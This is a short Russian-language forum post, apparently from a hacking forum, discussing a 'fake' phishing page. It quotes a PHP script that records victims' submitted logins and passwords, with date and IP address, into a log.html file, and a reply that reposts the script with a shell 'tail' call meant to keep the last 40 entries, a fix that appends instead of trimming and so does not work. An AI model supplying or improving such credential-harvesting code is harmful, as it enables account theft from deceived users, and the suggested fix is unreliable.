
23.11.2009, 21:14
|
|
Новичок
Регистрация: 18.10.2009
Сообщений: 8
Провел на форуме: 28324
Репутация:
1
|
|
Сообщение от amBX
Вопрос по фейку. Вот есть простой скрипт фейка
PHP код:
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
?>
как сделать так чтобы в log.html отображалось только последние 40 записей? А старые либо удалялись либо просто сохранялись в log.html, но отображение только было на последние 40.
PHP код:
<?PHP
$date=date("[d/m/Y|H:i]");
$ip = @$_SERVER['REMOTE_ADDR'];
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$c = "$date | [$ip]
$Login;$Pass";
$fp = fopen("log.html","a+");
fwrite($fp,"\n$c\n");
fclose($fp);
system("tail -40 log.html >> log.html");
?>
это если сервер на *nix-сервере
первое что в голову пришло
|
|
|